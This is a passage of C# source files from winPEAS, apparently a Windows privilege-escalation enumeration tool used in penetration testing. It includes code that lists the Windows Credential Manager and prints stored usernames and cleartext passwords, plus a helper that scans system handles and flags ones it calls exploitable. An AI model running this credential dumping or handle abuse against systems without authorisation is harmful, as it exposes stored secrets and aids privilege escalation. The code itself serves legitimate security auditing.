<summary>\n        ///     The username\n        /// </summary>\n        private string username;\n\n        /// <summary>\n        ///     Initializes UnmanagedCodePermission for the <see cref=\"Credential\" /> class.\n        /// </summary>\n        static Credential()\n        {\n            lock (LockObject)\n            {\n                UnmanagedCodePermission = new SecurityPermission(SecurityPermissionFlag.UnmanagedCode);\n            }\n        }\n\n        /// <summary>\n        ///     Initializes a new instance of the <see cref=\"Credential\" /> class.\n        /// </summary>\n        public Credential()\n            : this(null)\n        { }\n\n        /// <summary>\n        ///     Initializes a new instance of the <see cref=\"Credential\" /> class.\n        /// </summary>\n        /// <param name=\"username\">The username.</param>\n        public Credential(string username)\n            : this(username, null)\n        { }\n\n        /// <summary>\n        ///     Initializes a new instance of the <see cref=\"Credential\" /> class.\n        /// </summary>\n        /// <param name=\"username\">The username.</param>\n        /// <param name=\"password\">The password.</param>\n        public Credential(string username, string password)\n            : this(username, password, null)\n        { }\n\n        /// <summary>\n        ///     Initializes a new instance of the <see cref=\"Credential\" /> class.\n        /// </summary>\n        /// <param name=\"username\">The username.</param>\n        /// <param name=\"password\">The password.</param>\n        /// <param name=\"target\">The string that contains the name of the credential.</param>\n        public Credential(string username, string password, string target)\n            : this(username, password, target, CredentialType.Generic)\n        { }\n\n        /// <summary>\n        ///     Initializes a new instance of the <see cref=\"Credential\" /> class.\n        /// </summary>\n        /// <param name=\"username\">The username.</param>\n        /// <param name=\"password\">The password.</param>\n        /// <param name=\"target\">The string that contains the name of the credential.</param>\n        /// <param name=\"type\">The credential type.</param>\n        public Credential(string username, string password, string target, CredentialType type)\n        {\n            Username = username;\n            Password = password;\n            Target = target;\n            Type = type;\n            PersistenceType = PersistenceType.Session;\n            lastWriteTime = DateTime.MinValue;\n        }\n\n        /// <summary>\n        ///     Gets or sets the username.\n        /// </summary>\n        /// <value>The user name of the account used to connect to TargetName.</value>\n        public string Username\n        {\n            get\n            {\n                CheckNotDisposed();\n                return username;\n            }\n            set\n            {\n                CheckNotDisposed();\n                username = value;\n            }\n        }\n\n        /// <summary>\n        ///     Gets or sets the password.\n        /// </summary>\n        /// <value>The decoded secure string password.</value>\n        public string Password\n        {\n            get { return SecureStringHelper.CreateString(SecurePassword); }\n            set\n            {\n                CheckNotDisposed();\n                SecurePassword =\n                    SecureStringHelper.CreateSecureString(string.IsNullOrEmpty(value) ? string.Empty : value);\n            }\n        }\n\n        /// <summary>\n        ///     Gets or sets the secure password.\n        /// </summary>\n        /// <value>The secure password of the account used to connect to TargetName.</value>\n        public SecureString SecurePassword\n        {\n            get\n            {\n                CheckNotDisposed();\n                UnmanagedCodePermission.Demand();\n                return null == password ? new SecureString() : password.Copy();\n            }\n            set\n            {\n                CheckNotDisposed();\n                if (null != password)\n                {\n                    password.Clear();\n                    password.Dispose();\n                }\n                password = null == value ? new SecureString() : value.Copy();\n            }\n        }\n\n        /// <summary>\n        ///     Gets or sets the target.\n        /// </summary>\n        /// <value>\n        ///     The name of the credential. The TargetName and Type members uniquely identify the credential. This member cannot\n        ///     be changed after the credential is created. Instead, the credential with the old name should be deleted and the\n        ///     credential with the new name created.\n        /// </value>\n        public string Target\n        {\n            get\n            {\n                CheckNotDisposed();\n                return target;\n            }\n            set\n            {\n                CheckNotDisposed();\n                target = value;\n            }\n        }\n\n        /// <summary>\n        ///     Gets or sets the description.\n        /// </summary>\n        /// <value>\n        ///     The string comment from the user that describes this credential. This member cannot be longer than\n        ///     CRED_MAX_STRING_LENGTH (256) characters.\n        /// </value>\n        public string Description\n        {\n            get\n            {\n                CheckNotDisposed();\n                return description;\n            }\n            set\n            {\n                CheckNotDisposed();\n                description = value;\n            }\n        }\n\n        /// <summary>\n        ///     Gets the last write time.\n        /// </summary>\n        /// <value>The last write time.</value>\n        public DateTime LastWriteTime\n        {\n            get { return LastWriteTimeUtc.ToLocalTime(); }\n        }\n\n        /// <summary>\n        ///     Gets the last write time UTC.\n        /// </summary>\n        /// <value>The last write time UTC.</value>\n        public DateTime LastWriteTimeUtc\n        {\n            get\n            {\n                CheckNotDisposed();\n                return lastWriteTime;\n            }\n            private set { lastWriteTime = value; }\n        }\n\n        /// <summary>\n        ///     Gets or sets the type.\n        /// </summary>\n        /// <value>The type of the credential. This member cannot be changed after the credential is created.</value>\n        public CredentialType Type\n        {\n            get\n            {\n                CheckNotDisposed();\n                return type;\n            }\n            set\n            {\n                CheckNotDisposed();\n                type = value;\n            }\n        }\n\n        /// <summary>\n        ///     Gets or sets the type of the persistence.\n        /// </summary>\n        /// <value>Defines the persistence of this credential. This member can be read and written.</value>\n        public PersistenceType PersistenceType\n        {\n            get\n            {\n                CheckNotDisposed();\n                return persistenceType;\n            }\n            set\n            {\n                CheckNotDisposed();\n                persistenceType = value;\n            }\n        }\n\n        /// <summary>\n        ///     Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.\n        /// </summary>\n        public void Dispose()\n        {\n            Dispose(true);\n\n            // Prevent GC Collection since we have already disposed of this object\n            GC.SuppressFinalize(this);\n        }\n\n        /// <summary>\n        ///     Finalizes an instance of the <see cref=\"Credential\" /> class.\n        /// </summary>\n        ~Credential()\n        {\n            Dispose(false);\n        }\n\n        /// <summary>\n        ///     Releases unmanaged and - optionally - managed resources.\n        /// </summary>\n        /// <param name=\"disposing\">\n        ///     <c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only\n        ///     unmanaged resources.\n        /// </param>\n        private void Dispose(bool disposing)\n        {\n            if (!disposed)\n            {\n                if (disposing)\n                {\n                    SecurePassword.Clear();\n                    SecurePassword.Dispose();\n                }\n            }\n            disposed = true;\n        }\n\n        /// <summary>\n        ///     Ensures this instance is not disposed.\n        /// </summary>\n        /// <exception cref=\"System.ObjectDisposedException\">Credential object is already disposed.</exception>\n        private void CheckNotDisposed()\n        {\n            if (disposed)\n            {\n                throw new ObjectDisposedException(\"Credential object is already disposed.\");\n            }\n        }\n\n        /// <summary>\n        ///     Loads this instance.\n        /// </summary>\n        /// <returns><c>true</c> if credential is load properly, <c>false</c> otherwise.</returns>\n        public bool Load()\n        {\n            CheckNotDisposed();\n            UnmanagedCodePermission.Demand();\n\n            IntPtr credPointer;\n\n            var result = Advapi32.CredRead(Target, Type, 0, out credPointer);\n            if (!result)\n                return false;\n\n            using (var credentialHandle = new NativeMethods.CriticalCredentialHandle(credPointer))\n            {\n                LoadInternal(credentialHandle.GetCredential());\n            }\n\n            return true;\n        }\n\n        /// <summary>\n        ///     Loads all credentials\n        /// </summary>\n        public static IEnumerable<Credential> LoadAll()\n        {\n            UnmanagedCodePermission.Demand();\n\n            return NativeMethods.CredEnumerate()\n                .Select(c => new Credential(c.UserName, null, c.TargetName))\n                .Where(c => c.Load());\n        }\n\n        /// <summary>\n        ///     Loads the internal.\n        /// </summary>\n        /// <param name=\"credential\">The credential.</param>\n        internal void LoadInternal(NativeMethods.CREDENTIAL credential)\n        {\n            Username = credential.UserName;\n\n            if (credential.CredentialBlobSize > 0)\n            {\n                Password = Marshal.PtrToStringUni(credential.CredentialBlob, credential.CredentialBlobSize / 2);\n            }\n\n            Target = credential.TargetName;\n            Type = (CredentialType)credential.Type;\n            PersistenceType = (PersistenceType)credential.Persist;\n            Description = credential.Comment;\n            LastWriteTimeUtc = DateTime.FromFileTimeUtc(credential.LastWritten);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/CredentialManager/CredentialManager.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.Text;\n\nnamespace winPEAS.Helpers.CredentialManager\n{\n    internal static class CredentialManager\n    {\n        // thanks to \n        // https://github.com/spolnik/Simple.CredentialsManager\n\n        public static string UnicodeInfoText = \"(Unicode Base64 encoded)\";\n\n        internal static IEnumerable<string> GetCredentials()\n        {\n            var result = new List<string>();\n\n            foreach (var credential in Credential.LoadAll())\n            {\n                var isUnicode = MyUtils.IsUnicode(credential.Password);\n\n                string clearTextPassword = credential.Password;\n                string unicodeInfo = string.Empty;\n                if (isUnicode)\n                {\n                    clearTextPassword = System.Convert.ToBase64String(Encoding.Unicode.GetBytes(credential.Password));\n                    unicodeInfo = UnicodeInfoText;\n                }\n\n                string item = $\"     Username:              {credential.Username}\\n\" +\n                              $\"     Password:              {unicodeInfo} {clearTextPassword}\\n\" +\n                              $\"     Target:                {credential.Target}\\n\" +\n                              $\"     PersistenceType:       {credential.PersistenceType}\\n\" +\n                              $\"     LastWriteTime:         {credential.LastWriteTime}\\n\";\n\n                result.Add(item);\n            }\n\n            return result;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/CredentialManager/CredentialType.cs",
    "content": "﻿namespace winPEAS.Helpers.CredentialManager\n{\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/CredentialManager/NativeMethods.cs",
    "content": "﻿using Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing winPEAS.Native;\n\nnamespace winPEAS.Helpers.CredentialManager\n{\n    /// <summary>\n    ///     Wrapper for advapi32.dll library.\n    ///     Advanced Services\n    ///     Provide access to functionality additional to the kernel.\n    ///     Included are things like the Windows registry, shutdown/restart the system (or abort),\n    ///     start/stop/create a Windows service, manage user accounts.\n    ///     These functions reside in advapi32.dll on 32-bit Windows.\n    /// </summary>\n    public class NativeMethods\n    {\n\n        /// <summary>\n        /// The CREDENTIAL structure contains an individual credential.\n        /// \n        /// See CREDENTIAL structure <see href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa374788(v=vs.85).aspx\">documentation.</see>\n        /// </summary>\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct CREDENTIAL\n        {\n            public int Flags;\n            public int Type;\n            [MarshalAs(UnmanagedType.LPWStr)] public string TargetName;\n            [MarshalAs(UnmanagedType.LPWStr)] public string Comment;\n            public long LastWritten;\n            public int CredentialBlobSize;\n            public IntPtr CredentialBlob;\n            public int Persist;\n            public int AttributeCount;\n            public IntPtr Attributes;\n            [MarshalAs(UnmanagedType.LPWStr)] public string TargetAlias;\n            [MarshalAs(UnmanagedType.LPWStr)] public string UserName;\n        }\n\n        internal static IEnumerable<CREDENTIAL> CredEnumerate()\n        {\n            int count;\n            IntPtr pCredentials;\n            var ret = Advapi32.CredEnumerate(null, 0, out count, out pCredentials);\n\n            if (ret == false)\n            {\n                string exceptionDetails = string.Format(\"Win32Exception: {0}\", new Win32Exception(Marshal.GetLastWin32Error()).ToString());\n                Beaprint.NoColorPrint($\"  [!] Unable to enumerate credentials automatically, error: '{exceptionDetails}'\");\n                Beaprint.NoColorPrint(\"Please run: \");\n                Beaprint.ColorPrint(\"cmdkey /list\", Beaprint.ansi_color_yellow);\n                return Enumerable.Empty<CREDENTIAL>();\n            }\n\n            var credentials = new IntPtr[count];\n            for (var n = 0; n < count; n++)\n                credentials[n] = Marshal.ReadIntPtr(pCredentials,\n                    n * Marshal.SizeOf(typeof(IntPtr)));\n\n            return credentials.Select(ptr => (CREDENTIAL)Marshal.PtrToStructure(ptr, typeof(CREDENTIAL)));\n        }\n\n        internal sealed class CriticalCredentialHandle : CriticalHandleZeroOrMinusOneIsInvalid\n        {\n            // Set the handle.\n            internal CriticalCredentialHandle(IntPtr preexistingHandle)\n            {\n                SetHandle(preexistingHandle);\n            }\n\n            internal CREDENTIAL GetCredential()\n            {\n                if (!IsInvalid)\n                {\n                    // Get the Credential from the mem location\n                    return (CREDENTIAL)Marshal.PtrToStructure(handle, typeof(CREDENTIAL));\n                }\n\n                throw new InvalidOperationException(\"Invalid CriticalHandle!\");\n            }\n\n            // Perform any specific actions to release the handle in the ReleaseHandle method.\n            // Often, you need to use P/Invoke to make a call into the Win32 API to release the \n            // handle. In this case, however, we can use the Marshal class to release the unmanaged memory.\n            protected override bool ReleaseHandle()\n            {\n                // If the handle was set, free it. Return success.\n                if (!IsInvalid)\n                {\n                    // NOTE: We should also ZERO out the memory allocated to the handle, before free'ing it\n                    // so there are no traces of the sensitive data left in memory.\n                    Advapi32.CredFree(handle);\n                    // Mark the handle as invalid for future users.\n                    SetHandleAsInvalid();\n                    return true;\n                }\n                // Return false. \n                return false;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/CredentialManager/PersistenceType.cs",
    "content": "﻿namespace winPEAS.Helpers.CredentialManager\n{\n    /// <summary>\n    ///     Enum PersistenceType\n    ///     Defines the persistence of this credential. This member can be read and written.\n    /// </summary>\n    public enum PersistenceType : uint\n    {\n        /// <summary>\n        ///     The session persistence type\n        ///     The credential persists for the life of the logon session.\n        ///     It will not be visible to other logon sessions of this same user.\n        ///     It will not exist after this user logs off and back on.\n        /// </summary>\n        Session = 1,\n\n        /// <summary>\n        ///     The local computer persistence type\n        ///     The credential persists for all subsequent logon sessions on this same computer.\n        ///     It is visible to other logon sessions of this same user on this same computer\n        ///     and not visible to logon sessions for this user on other computers.\n        /// </summary>\n        LocalComputer = 2,\n\n        /// <summary>\n        ///     The enterprise persistence type\n        ///     The credential persists for all subsequent logon sessions on this same computer. It is visible to other logon\n        ///     sessions of this same user on this same computer and to logon sessions for this user on other computers.\n        ///     this option can be implemented as locally persisted credential if the administrator or user configures the user\n        ///     account to not have roam-able state. For instance, if the user has no roaming profile, the credential will only\n        ///     persist locally.\n        /// </summary>\n        Enterprise = 3\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/CredentialManager/SecureStringHelper.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace winPEAS.Helpers.CredentialManager\n{\n    [SuppressUnmanagedCodeSecurity]\n    internal static class SecureStringHelper\n    {\n        internal static unsafe SecureString CreateSecureString(string plainString)\n        {\n            if (string.IsNullOrEmpty(plainString))\n                return new SecureString();\n\n            SecureString str;\n            fixed (char* str2 = plainString)\n            {\n                var chPtr = str2;\n                str = new SecureString(chPtr, plainString.Length);\n                str.MakeReadOnly();\n            }\n\n            return str;\n        }\n\n        internal static string CreateString(SecureString secureString)\n        {\n            if ((secureString == null) || (secureString.Length == 0))\n                return string.Empty;\n\n            string str;\n            var zero = IntPtr.Zero;\n\n            try\n            {\n                zero = Marshal.SecureStringToBSTR(secureString);\n                str = Marshal.PtrToStringBSTR(zero);\n            }\n            finally\n            {\n                if (zero != IntPtr.Zero)\n                    Marshal.ZeroFreeBSTR(zero);\n            }\n\n            return str;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/CustomFileInfo.cs",
    "content": "﻿namespace winPEAS.Helpers\n{\n    internal class CustomFileInfo\n    {\n        public string Filename { get; }\n        public string Extension { get; }\n        public string FullPath { get; }\n        public long Size { get; }\n        public bool IsDirectory { get; }\n\n        public CustomFileInfo(string filename, string extension, string fullPath, long size, bool isDirectory)\n        {\n            Filename = filename;\n            Extension = extension;\n            FullPath = fullPath;\n            Size = size;\n            IsDirectory = isDirectory;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/DomainHelper.cs",
    "content": "﻿using System;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Helpers\n{\n    //////////////////////\n    /// IsDomainJoined ///\n    //////////////////////\n    /// The clases and functions here are dedicated to discover if the current host is joined in a domain or not, and get the domain name if so\n    /// It can be done using .Net (default) and WMI (used if .Net fails)\n\n    internal static class DomainHelper\n    {\n        internal class Win32\n        {\n            public const int ErrorSuccess = 0;\n\n\n        }\n\n        public static string IsDomainJoined()\n        {\n            // returns Compuer Domain if the system is inside an AD (an nothing if it is not)\n            try\n            {\n                NetJoinStatus status = NetJoinStatus.NetSetupUnknownStatus;\n                IntPtr pDomain = IntPtr.Zero;\n                int result = Netapi32.NetGetJoinInformation(null, out pDomain, out status);\n                if (pDomain != IntPtr.Zero)\n                {\n                    Netapi32.NetApiBufferFree(pDomain);\n                }\n\n                if (result == Win32.ErrorSuccess)\n                {\n                    // If in domain, return domain name, if not, return empty\n                    return status == NetJoinStatus.NetSetupDomainName ? Environment.UserDomainName : \"\";\n                }\n\n            }\n\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"  [X] Exception: {0}\\n Trying to check if domain is joined using WMI\", ex.Message));\n                return IsDomainJoinedWmi();\n            }\n            return \"\";\n        }\n\n        private static string IsDomainJoinedWmi()\n        {\n            // returns Compuer Domain if the system is inside an AD (an nothing if it is not)\n            try\n            {\n                using (var searcher = new System.Management.ManagementObjectSearcher(\"Select * from Win32_ComputerSystem\"))\n                {\n                    using (var items = searcher.Get())\n                    {\n                        foreach (var item in items)\n                        {\n                            return (string)item[\"Domain\"];\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            //By default local\n            return \"\";\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/Extensions/EnumExtensions.cs",
    "content": "﻿using System;\nusing System.ComponentModel;\nusing System.Reflection;\n\nnamespace winPEAS.Helpers.Extensions\n{\n    public static class EnumExtensions\n    {\n        public static string GetDescription<T>(this T enumerationValue)\n        where T : struct\n        {\n            Type type = enumerationValue.GetType();\n            if (!type.IsEnum)\n            {\n                throw new ArgumentException(\"EnumerationValue must be of Enum type\", \"enumerationValue\");\n            }\n\n            //Tries to find a DescriptionAttribute for a potential friendly name\n            //for the enum\n            MemberInfo[] memberInfo = type.GetMember(enumerationValue.ToString());\n            if (memberInfo != null && memberInfo.Length > 0)\n            {\n                object[] attrs = memberInfo[0].GetCustomAttributes(typeof(DescriptionAttribute), false);\n\n                if (attrs != null && attrs.Length > 0)\n                {\n                    //Pull out the description value\n                    return ((DescriptionAttribute)attrs[0]).Description;\n                }\n            }\n            //If we have no description attribute, just return the ToString of the enum\n            return enumerationValue.ToString();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/HandlesHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing System.Security.Principal;\nusing System.Text;\n\nnamespace winPEAS.Helpers\n{\n    internal class HandlesHelper\n    {\n        private const int CNST_SYSTEM_EXTENDED_HANDLE_INFORMATION = 64;\n        public const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;\n        public const int DUPLICATE_SAME_ACCESS = 0x2;\n        public const string elevatedProcess = \"Access denied, process is probably elevated\";\n\n        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n        public struct FILE_NAME_INFO\n        {\n            public int FileNameLength;\n            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 1000)]\n            public string FileName;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct THREAD_BASIC_INFORMATION\n        {\n            public uint ExitStatus;\n            public IntPtr TebBaseAdress;\n            public CLIENT_ID ClientId;\n            public uint AffinityMask;\n            public uint Priority;\n            public uint BasePriority;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct CLIENT_ID\n        {\n            public int UniqueProcess;\n            public int UniqueThread;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct PROCESS_BASIC_INFORMATION\n        {\n            public int ExitStatus;\n            public IntPtr PebBaseAddress;\n            public IntPtr AffinityMask;\n            public int BasePriority;\n            public IntPtr UniqueProcessId;\n            public IntPtr InheritedFromUniqueProcessId;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX\n        {\n            public IntPtr Object;\n            public UIntPtr UniqueProcessId;\n            public IntPtr HandleValue;\n            public uint GrantedAccess;\n            public ushort CreatorBackTraceIndex;\n            public ushort ObjectTypeIndex;\n            public uint HandleAttributes;\n            public uint Reserved;\n        }\n\n        [Flags]\n        public enum ProcessAccessFlags : uint\n        {\n            All = 0x001F0FFF,\n            Terminate = 0x00000001,\n            CreateThread = 0x00000002,\n            VMOperation = 0x00000008,\n            VMRead = 0x00000010,\n            VMWrite = 0x00000020,\n            DupHandle = 0x00000040,\n            SetInformation = 0x00000200,\n            QueryInformation = 0x00000400,\n            QueryLimitedInformation = 0x1000,\n            Synchronize = 0x00100000\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct OBJECT_BASIC_INFORMATION\n        { // Information Class 0\n            public int Attributes;\n            public int GrantedAccess;\n            public int HandleCount;\n            public int PointerCount;\n            public int PagedPoolUsage;\n            public int NonPagedPoolUsage;\n            public int Reserved1;\n            public int Reserved2;\n            public int Reserved3;\n            public int NameInformationLength;\n            public int TypeInformationLength;\n            public int SecurityDescriptorLength;\n            public System.Runtime.InteropServices.ComTypes.FILETIME CreateTime;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct UNICODE_STRING\n        {\n            public ushort Length;\n            public ushort MaximumLength;\n            public IntPtr Buffer;\n        }\n\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct OBJECT_NAME_INFORMATION\n        { // Information Class 1\n            public UNICODE_STRING Name;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct OBJECT_TYPE_INFORMATION\n        { // Information Class 1\n            public UNICODE_STRING Name;\n            public ulong TotalNumberOfObjects;\n            public ulong TotalNumberOfHandles;\n        }\n\n        public enum ObjectInformationClass : int\n        {\n            ObjectBasicInformation = 0,\n            ObjectNameInformation = 1,\n            ObjectTypeInformation = 2,\n            ObjectAllTypesInformation = 3,\n            ObjectHandleInformation = 4\n        }\n\n        public struct VULNERABLE_HANDLER_INFO\n        {\n            public string handlerType;\n            public bool isVuln;\n            public string reason;\n        }\n\n        public struct PT_RELEVANT_INFO\n        {\n            public int pid;\n            public string name;\n            public string imagePath;\n            public string userName;\n            public string userSid;\n        }\n\n        public struct KEY_RELEVANT_INFO\n        {\n            public string hive;\n            public string path;\n        }\n\n\n\n\n\n\n\n\n\n\n        // Check if the given handler is exploitable\n        public static VULNERABLE_HANDLER_INFO checkExploitaible(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX h, string typeName)\n        {\n            VULNERABLE_HANDLER_INFO vulnHandler = new VULNERABLE_HANDLER_INFO();\n            vulnHandler.handlerType = typeName;\n\n            if (typeName == \"process\")\n            {\n                // Hex perms from https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights and https://github.com/buffer/maltracer/blob/master/defines.py\n\n                //PROCESS_ALL_ACCESS\n                if ((h.GrantedAccess & 0x001F0FFF) == h.GrantedAccess || (h.GrantedAccess & 0x1FFFFF) == h.GrantedAccess)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"PROCESS_ALL_ACCESS\";\n                }\n\n                //PROCESS_CREATE_PROCESS\n                else if ((h.GrantedAccess & 0x0080) == h.GrantedAccess)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"PROCESS_CREATE_PROCESS\";\n                }\n\n                //PROCESS_CREATE_THREAD\n                else if ((h.GrantedAccess & 0x0002) == h.GrantedAccess)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"PROCESS_CREATE_THREAD\";\n                }\n\n                //PROCESS_DUP_HANDLE\n                else if ((h.GrantedAccess & 0x0040) == h.GrantedAccess)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"PROCESS_DUP_HANDLE\";\n                }\n\n                //PROCESS_VM_WRITE\n                else if ((h.GrantedAccess & 0x0020) == h.GrantedAccess)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"PROCESS_VM_WRITE\";\n\n                    if ((h.GrantedAccess & 0x0010) == h.GrantedAccess)\n                        vulnHandler.reason += \"& PROCESS_VM_READ\";\n\n                    if ((h.GrantedAccess & 0x0008) == h.GrantedAccess)\n                        vulnHandler.reason += \"& PROCESS_VM_OPERATION\";\n                }\n            }\n\n            else if (typeName == \"thread\")\n            {\n                // Codes from https://docs.microsoft.com/en-us/windows/win32/procthread/thread-security-and-access-rights and https://github.com/x0r19x91/code-injection/blob/master/inject.asm\n\n                //THREAD_ALL_ACCESS\n                if ((h.GrantedAccess & 0x1f03ff) == h.GrantedAccess)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"THREAD_ALL_ACCESS\";\n                }\n\n                //THREAD_DIRECT_IMPERSONATION\n                else if ((h.GrantedAccess & 0x0200) == h.GrantedAccess)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"THREAD_DIRECT_IMPERSONATION\";\n                }\n\n                //THREAD_GET_CONTEXT & THREAD_SET_CONTEXT \n                else if (((h.GrantedAccess & 0x0008) == h.GrantedAccess) && ((h.GrantedAccess & 0x0010) == h.GrantedAccess))\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"THREAD_GET_CONTEXT & THREAD_SET_CONTEXT\";\n                }\n            }\n\n            else if (typeName == \"file\")\n            {\n\n                string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);\n                if (perm != null && perm.Length > 0)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = perm;\n                }\n            }\n\n            else if (typeName == \"key\")\n            {\n                string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT_REG);\n                if (perm != null && perm.Length > 0)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = perm;\n                }\n            }\n\n            else if (typeName == \"section\")\n            {\n                // Perms from \n                // https://docs.microsoft.com/en-us/windows/win32/secauthz/standard-access-rights\n                // https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format\n                // https://github.com/lab52io/LeakedHandlesFinder/blob/master/LeakedHandlesFinder/LeakedHandlesFinder.cpp\n\n\n                //MAP_WRITE\n                if ((h.GrantedAccess & 0x2) == h.GrantedAccess)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"MAP_WRITE (Research Needed)\";\n                }\n                //DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER = STANDARD_RIGHTS_ALL\n                else if ((h.GrantedAccess & 0xf0000) == h.GrantedAccess)\n                {\n                    vulnHandler.isVuln = true;\n                    vulnHandler.reason = \"STANDARD_RIGHTS_ALL (Research Needed)\";\n                }\n            }\n\n            return vulnHandler;\n        }\n\n        // Given a found handler get what type is it.\n        public static string GetObjectType(IntPtr handle)\n        {\n            OBJECT_TYPE_INFORMATION basicType = new OBJECT_TYPE_INFORMATION();\n\n            try\n            {\n                IntPtr _basic = IntPtr.Zero;\n                string name;\n                int nameLength = 0;\n\n                try\n                {\n                    _basic = Marshal.AllocHGlobal(0x1000);\n\n                    Native.Ntdll.NtQueryObject(handle, (int)ObjectInformationClass.ObjectTypeInformation, _basic, 0x1000, ref nameLength);\n                    basicType = (OBJECT_TYPE_INFORMATION)Marshal.PtrToStructure(_basic, basicType.GetType());\n                    name = Marshal.PtrToStringUni(basicType.Name.Buffer, basicType.Name.Length >> 1);\n                    return name;\n                }\n                finally\n                {\n                    if (_basic != IntPtr.Zero)\n                        Marshal.FreeHGlobal(_basic);\n                }\n            }\n            catch { }\n\n            return null;\n        }\n\n        // Get the name of the handler (if any)\n        public static string GetObjectName(IntPtr handle)\n        {\n            OBJECT_BASIC_INFORMATION basicInfo = new OBJECT_BASIC_INFORMATION();\n            try\n            {\n\n                IntPtr _basic = IntPtr.Zero;\n                int nameLength = 0;\n\n                try\n                {\n                    _basic = Marshal.AllocHGlobal(Marshal.SizeOf(basicInfo));\n\n                    Native.Ntdll.NtQueryObject(handle, (int)ObjectInformationClass.ObjectBasicInformation, _basic, Marshal.SizeOf(basicInfo), ref nameLength);\n                    basicInfo = (OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(_basic, basicInfo.GetType());\n                    nameLength = basicInfo.NameInformationLength;\n                }\n                finally\n                {\n                    if (_basic != IntPtr.Zero)\n                        Marshal.FreeHGlobal(_basic);\n                }\n\n                if (nameLength == 0)\n                {\n                    return null;\n                }\n\n                OBJECT_NAME_INFORMATION nameInfo = new OBJECT_NAME_INFORMATION();\n                IntPtr _objectName = Marshal.AllocHGlobal(nameLength);\n\n                try\n                {\n                    while ((uint)(Native.Ntdll.NtQueryObject(handle, (int)ObjectInformationClass.ObjectNameInformation, _objectName, nameLength, ref nameLength)) == STATUS_INFO_LENGTH_MISMATCH)\n                    {\n                        Marshal.FreeHGlobal(_objectName);\n                        _objectName = Marshal.AllocHGlobal(nameLength);\n                    }\n                    nameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(_objectName, nameInfo.GetType());\n                }\n                finally\n                {\n                    Marshal.FreeHGlobal(_objectName);\n                }\n\n                try\n                {\n                    if (nameInfo.Name.Length > 0)\n                        return Marshal.PtrToStringUni(nameInfo.Name.Buffer, nameInfo.Name.Length >> 1);\n                }\n                catch\n                {\n\n                }\n\n                return null;\n            }\n            catch { return null; }\n        }\n\n        // Get all handlers inside the system\n        public static List<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> GetAllHandlers()\n        {\n            bool is_64 = Marshal.SizeOf(typeof(IntPtr)) == 8 ? true : false;\n            int infoLength = 0x10000;\n            int length = 0;\n            IntPtr _info = Marshal.AllocHGlobal(infoLength);\n            IntPtr _handle = IntPtr.Zero;\n            long handleCount = 0;\n\n\n            // Try to find the size\n            while ((Native.Ntdll.NtQuerySystemInformation(CNST_SYSTEM_EXTENDED_HANDLE_INFORMATION, _info, infoLength, ref length)) == STATUS_INFO_LENGTH_MISMATCH)\n            {\n                infoLength = length;\n                Marshal.FreeHGlobal(_info);\n                _info = 